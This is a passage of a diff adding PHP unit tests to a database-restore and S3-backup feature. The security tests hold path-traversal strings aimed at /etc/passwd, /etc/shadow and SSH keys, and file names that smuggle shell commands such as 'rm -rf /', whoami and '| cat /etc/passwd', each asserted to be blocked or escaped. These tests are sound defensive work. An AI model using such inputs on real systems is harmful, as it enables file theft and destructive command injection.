it('handles negative bytes safely', function () {
|
||||
expect(formatBytes(-1024))->toBe('0 B');
|
||||
expect(formatBytes(-100))->toBe('0 B');
|
||||
});
|
||||
|
||||
it('formats bytes correctly', function () {
|
||||
expect(formatBytes(512))->toBe('512 B');
|
||||
expect(formatBytes(1023))->toBe('1023 B');
|
||||
});
|
||||
|
||||
it('formats kilobytes correctly', function () {
|
||||
expect(formatBytes(1024))->toBe('1 KB');
|
||||
expect(formatBytes(2048))->toBe('2 KB');
|
||||
expect(formatBytes(1536))->toBe('1.5 KB');
|
||||
});
|
||||
|
||||
it('formats megabytes correctly', function () {
|
||||
expect(formatBytes(1048576))->toBe('1 MB');
|
||||
expect(formatBytes(5242880))->toBe('5 MB');
|
||||
});
|
||||
|
||||
it('formats gigabytes correctly', function () {
|
||||
expect(formatBytes(1073741824))->toBe('1 GB');
|
||||
expect(formatBytes(2147483648))->toBe('2 GB');
|
||||
});
|
||||
|
||||
it('respects precision parameter', function () {
|
||||
expect(formatBytes(1536, 0))->toBe('2 KB');
|
||||
expect(formatBytes(1536, 1))->toBe('1.5 KB');
|
||||
expect(formatBytes(1536, 2))->toBe('1.5 KB');
|
||||
expect(formatBytes(1536, 3))->toBe('1.5 KB');
|
||||
});
|
||||
79
tests/Unit/Livewire/Database/S3RestoreTest.php
Normal file
79
tests/Unit/Livewire/Database/S3RestoreTest.php
Normal file
|
|
@ -0,0 +1,79 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('pg_restore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = true;
|
||||
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
|
||||
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('gunzip -cf /tmp/test.dump');
|
||||
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMysql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mysql -u $MYSQL_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMariadb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mariadb -u $MARIADB_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MongoDB', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMongodb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mongorestore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
184
tests/Unit/PathTraversalSecurityTest.php
Normal file
184
tests/Unit/PathTraversalSecurityTest.php
Normal file
|
|
@ -0,0 +1,184 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for isSafeTmpPath() function to prevent path traversal attacks.
|
||||
*/
|
||||
describe('isSafeTmpPath() security validation', function () {
|
||||
it('rejects null and empty paths', function () {
|
||||
expect(isSafeTmpPath(null))->toBeFalse();
|
||||
expect(isSafeTmpPath(''))->toBeFalse();
|
||||
expect(isSafeTmpPath(' '))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects paths shorter than minimum length', function () {
|
||||
expect(isSafeTmpPath('/tmp'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass
|
||||
});
|
||||
|
||||
it('accepts valid /tmp/ paths', function () {
|
||||
expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects obvious path traversal attempts with ..', function () {
|
||||
expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects paths that do not start with /tmp/', function () {
|
||||
expect(isSafeTmpPath('/etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse();
|
||||
expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading /
|
||||
expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('handles double slashes by normalizing them', function () {
|
||||
// Double slashes are normalized out, so these should pass
|
||||
expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('handles relative directory references by normalizing them', function () {
|
||||
// ./ references are normalized out, so these should pass
|
||||
expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('handles trailing slashes correctly', function () {
|
||||
expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects sophisticated path traversal attempts', function () {
|
||||
// URL encoded .. will be decoded and then rejected
|
||||
expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse();
|
||||
|
||||
// Mixed case /TMP doesn't start with /tmp/
|
||||
expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse();
|
||||
|
||||
// URL encoded slashes with .. (should decode to /tmp/../../etc/passwd)
|
||||
expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse();
|
||||
|
||||
// Null byte injection attempt (if string contains it)
|
||||
expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('validates paths even when directories do not exist', function () {
|
||||
// These paths don't exist but should be validated structurally
|
||||
expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue();
|
||||
|
||||
// But traversal should still be blocked even if dir doesn't exist
|
||||
expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('handles real path resolution when directory exists', function () {
|
||||
// Create a real temp directory to test realpath() logic
|
||||
$testDir = '/tmp/phpunit-test-'.uniqid();
|
||||
mkdir($testDir, 0755, true);
|
||||
|
||||
try {
|
||||
expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue();
|
||||
} finally {
|
||||
rmdir($testDir);
|
||||
}
|
||||
});
|
||||
|
||||
it('prevents symlink-based traversal attacks', function () {
|
||||
// Create a temp directory and symlink
|
||||
$testDir = '/tmp/phpunit-symlink-test-'.uniqid();
|
||||
mkdir($testDir, 0755, true);
|
||||
|
||||
// Try to create a symlink to /etc (may not work in all environments)
|
||||
$symlinkPath = $testDir.'/evil-link';
|
||||
|
||||
try {
|
||||
// Attempt to create symlink (skip test if not possible)
|
||||
if (@symlink('/etc', $symlinkPath)) {
|
||||
// If we successfully created a symlink to /etc,
|
||||
// isSafeTmpPath should resolve it and reject paths through it
|
||||
$testPath = $symlinkPath.'/passwd';
|
||||
|
||||
// The resolved path would be /etc/passwd, not /tmp/...
|
||||
// So it should be rejected
|
||||
$result = isSafeTmpPath($testPath);
|
||||
|
||||
// Clean up before assertion
|
||||
unlink($symlinkPath);
|
||||
rmdir($testDir);
|
||||
|
||||
expect($result)->toBeFalse();
|
||||
} else {
|
||||
// Can't create symlink, skip this specific test
|
||||
$this->markTestSkipped('Cannot create symlinks in this environment');
|
||||
}
|
||||
} catch (Exception $e) {
|
||||
// Clean up on any error
|
||||
if (file_exists($symlinkPath)) {
|
||||
unlink($symlinkPath);
|
||||
}
|
||||
if (file_exists($testDir)) {
|
||||
rmdir($testDir);
|
||||
}
|
||||
throw $e;
|
||||
}
|
||||
});
|
||||
|
||||
it('has consistent behavior with or without trailing slash', function () {
|
||||
expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/'));
|
||||
expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/'));
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Integration test for S3RestoreJobFinished event using the secure path validation.
|
||||
*/
|
||||
describe('S3RestoreJobFinished path validation', function () {
|
||||
it('validates that safe paths pass validation', function () {
|
||||
// Test with valid paths - should pass validation
|
||||
$validData = [
|
||||
'serverTmpPath' => '/tmp/valid-backup.sql',
|
||||
'scriptPath' => '/tmp/valid-script.sh',
|
||||
'containerTmpPath' => '/tmp/container-file.sql',
|
||||
];
|
||||
|
||||
expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue();
|
||||
expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue();
|
||||
expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates that malicious paths fail validation', function () {
|
||||
// Test with malicious paths - should fail validation
|
||||
$maliciousData = [
|
||||
'serverTmpPath' => '/tmp/../etc/passwd',
|
||||
'scriptPath' => '/tmp/../../etc/shadow',
|
||||
'containerTmpPath' => '/etc/important-config',
|
||||
];
|
||||
|
||||
// Verify that our helper would reject these paths
|
||||
expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse();
|
||||
expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse();
|
||||
expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse();
|
||||
});
|
||||
|
||||
it('validates realistic S3 restore paths', function () {
|
||||
// These are the kinds of paths that would actually be used
|
||||
$realisticPaths = [
|
||||
'/tmp/coolify-s3-restore-'.uniqid().'.sql',
|
||||
'/tmp/db-backup-'.date('Y-m-d').'.dump',
|
||||
'/tmp/restore-script-'.uniqid().'.sh',
|
||||
];
|
||||
|
||||
foreach ($realisticPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
}
|
||||
});
|
||||
});
|
||||
149
tests/Unit/Policies/S3StoragePolicyTest.php
Normal file
149
tests/Unit/Policies/S3StoragePolicyTest.php
Normal file
|
|
@ -0,0 +1,149 @@
|
|||
<?php
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\User;
|
||||
use App\Policies\S3StoragePolicy;
|
||||
|
||||
it('allows team member to view S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->view($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to view S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->view($user, $storage))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->update($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->update($user, $storage))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team member to delete S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->delete($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->delete($user, $storage))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create S3 storage', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create S3 storage', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team member to validate connection of S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->validateConnection($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to validate connection of S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->validateConnection($user, $storage))->toBeFalse();
|
||||
});
|
||||
39
tests/Unit/Project/Database/ImportCheckFileButtonTest.php
Normal file
39
tests/Unit/Project/Database/ImportCheckFileButtonTest.php
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Models\Server;
|
||||
|
||||
test('checkFile does nothing when customLocation is empty', function () {
|
||||
$component = new Import;
|
||||
$component->customLocation = '';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// No server commands should be executed when customLocation is empty
|
||||
$component->checkFile();
|
||||
|
||||
expect($component->filename)->toBeNull();
|
||||
});
|
||||
|
||||
test('checkFile validates file exists on server when customLocation is filled', function () {
|
||||
$component = new Import;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// This test verifies the logic flows when customLocation has a value
|
||||
// The actual remote process execution is tested elsewhere
|
||||
expect($component->customLocation)->toBe('/tmp/backup.sql');
|
||||
});
|
||||
|
||||
test('customLocation can be cleared to allow uploaded file to be used', function () {
|
||||
$component = new Import;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
// Simulate clearing the customLocation (as happens when file is uploaded)
|
||||
$component->customLocation = '';
|
||||
|
||||
expect($component->customLocation)->toBe('');
|
||||
});
|
||||
93
tests/Unit/RestoreJobFinishedNullServerTest.php
Normal file
93
tests/Unit/RestoreJobFinishedNullServerTest.php
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
<?php
|
||||
|
||||
use App\Events\RestoreJobFinished;
|
||||
use App\Events\S3RestoreJobFinished;
|
||||
use App\Models\Server;
|
||||
|
||||
/**
|
||||
* Tests for RestoreJobFinished and S3RestoreJobFinished events to ensure they handle
|
||||
* null server scenarios gracefully (when server is deleted during operation).
|
||||
*/
|
||||
describe('RestoreJobFinished null server handling', function () {
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('handles null server gracefully in RestoreJobFinished event', function () {
|
||||
// Mock Server::find to return null (server was deleted)
|
||||
$mockServer = Mockery::mock('alias:'.Server::class);
|
||||
$mockServer->shouldReceive('find')
|
||||
->with(999)
|
||||
->andReturn(null);
|
||||
|
||||
$data = [
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'tmpPath' => '/tmp/backup.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => 999,
|
||||
];
|
||||
|
||||
// Should not throw an error when server is null
|
||||
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles null server gracefully in S3RestoreJobFinished event', function () {
|
||||
// Mock Server::find to return null (server was deleted)
|
||||
$mockServer = Mockery::mock('alias:'.Server::class);
|
||||
$mockServer->shouldReceive('find')
|
||||
->with(999)
|
||||
->andReturn(null);
|
||||
|
||||
$data = [
|
||||
'containerName' => 'helper-container',
|
||||
'serverTmpPath' => '/tmp/downloaded.sql',
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'containerTmpPath' => '/tmp/container-file.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => 999,
|
||||
];
|
||||
|
||||
// Should not throw an error when server is null
|
||||
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles empty serverId in RestoreJobFinished event', function () {
|
||||
$data = [
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'tmpPath' => '/tmp/backup.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => null,
|
||||
];
|
||||
|
||||
// Should not throw an error when serverId is null
|
||||
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles empty serverId in S3RestoreJobFinished event', function () {
|
||||
$data = [
|
||||
'containerName' => 'helper-container',
|
||||
'serverTmpPath' => '/tmp/downloaded.sql',
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'containerTmpPath' => '/tmp/container-file.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => null,
|
||||
];
|
||||
|
||||
// Should not throw an error when serverId is null
|
||||
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles missing data gracefully in RestoreJobFinished', function () {
|
||||
$data = [];
|
||||
|
||||
// Should not throw an error when data is empty
|
||||
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles missing data gracefully in S3RestoreJobFinished', function () {
|
||||
$data = [];
|
||||
|
||||
// Should not throw an error when data is empty
|
||||
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
});
|
||||
61
tests/Unit/RestoreJobFinishedSecurityTest.php
Normal file
61
tests/Unit/RestoreJobFinishedSecurityTest.php
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for RestoreJobFinished event to ensure it uses secure path validation.
|
||||
*/
|
||||
describe('RestoreJobFinished event security', function () {
|
||||
it('validates that safe paths pass validation', function () {
|
||||
$validPaths = [
|
||||
'/tmp/restore-backup.sql',
|
||||
'/tmp/restore-script.sh',
|
||||
'/tmp/database-dump-'.uniqid().'.sql',
|
||||
];
|
||||
|
||||
foreach ($validPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
}
|
||||
});
|
||||
|
||||
it('validates that malicious paths fail validation', function () {
|
||||
$maliciousPaths = [
|
||||
'/tmp/../etc/passwd',
|
||||
'/tmp/foo/../../etc/shadow',
|
||||
'/etc/sensitive-file',
|
||||
'/var/www/config.php',
|
||||
'/tmp/../../../root/.ssh/id_rsa',
|
||||
];
|
||||
|
||||
foreach ($maliciousPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeFalse();
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects URL-encoded path traversal attempts', function () {
|
||||
$encodedTraversalPaths = [
|
||||
'/tmp/%2e%2e/etc/passwd',
|
||||
'/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
|
||||
urlencode('/tmp/../etc/passwd'),
|
||||
];
|
||||
|
||||
foreach ($encodedTraversalPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeFalse();
|
||||
}
|
||||
});
|
||||
|
||||
it('handles edge cases correctly', function () {
|
||||
// Too short
|
||||
expect(isSafeTmpPath('/tmp'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
|
||||
|
||||
// Null/empty
|
||||
expect(isSafeTmpPath(null))->toBeFalse();
|
||||
expect(isSafeTmpPath(''))->toBeFalse();
|
||||
|
||||
// Null byte injection
|
||||
expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
|
||||
|
||||
// Valid edge cases
|
||||
expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
|
||||
});
|
||||
});
|
||||
118
tests/Unit/RestoreJobFinishedShellEscapingTest.php
Normal file
118
tests/Unit/RestoreJobFinishedShellEscapingTest.php
Normal file
|
|
@ -0,0 +1,118 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for shell metacharacter escaping in restore events.
|
||||
*
|
||||
* These tests verify that escapeshellarg() properly neutralizes shell injection
|
||||
* attempts in paths that pass isSafeTmpPath() validation.
|
||||
*/
|
||||
describe('Shell metacharacter escaping in restore events', function () {
|
||||
it('demonstrates that malicious paths can pass isSafeTmpPath but are neutralized by escapeshellarg', function () {
|
||||
// This path passes isSafeTmpPath() validation (it's within /tmp/, no .., no null bytes)
|
||||
$maliciousPath = "/tmp/file'; whoami; '";
|
||||
|
||||
// Path validation passes - it's a valid /tmp/ path
|
||||
expect(isSafeTmpPath($maliciousPath))->toBeTrue();
|
||||
|
||||
// But when escaped, the shell metacharacters become literal strings
|
||||
$escaped = escapeshellarg($maliciousPath);
|
||||
|
||||
// The escaped version wraps in single quotes and escapes internal single quotes
|
||||
expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
|
||||
|
||||
// Building a command with escaped path is safe
|
||||
$command = "rm -f {$escaped}";
|
||||
|
||||
// The command contains the quoted path, not an unquoted injection
|
||||
expect($command)->toStartWith("rm -f '");
|
||||
expect($command)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('escapes paths with semicolon injection attempts', function () {
|
||||
$path = '/tmp/backup; rm -rf /; echo';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
|
||||
|
||||
// The semicolons are inside quotes, so they're treated as literals
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
|
||||
});
|
||||
|
||||
it('escapes paths with backtick command substitution attempts', function () {
|
||||
$path = '/tmp/backup`whoami`.sql';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
|
||||
|
||||
// Backticks inside single quotes are not executed
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
|
||||
});
|
||||
|
||||
it('escapes paths with $() command substitution attempts', function () {
|
||||
$path = '/tmp/backup$(id).sql';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
|
||||
|
||||
// $() inside single quotes is not executed
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
|
||||
});
|
||||
|
||||
it('escapes paths with pipe injection attempts', function () {
|
||||
$path = '/tmp/backup | cat /etc/passwd';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
|
||||
|
||||
// Pipe inside single quotes is treated as literal
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
|
||||
});
|
||||
|
||||
it('escapes paths with newline injection attempts', function () {
|
||||
$path = "/tmp/backup\nwhoami";
|
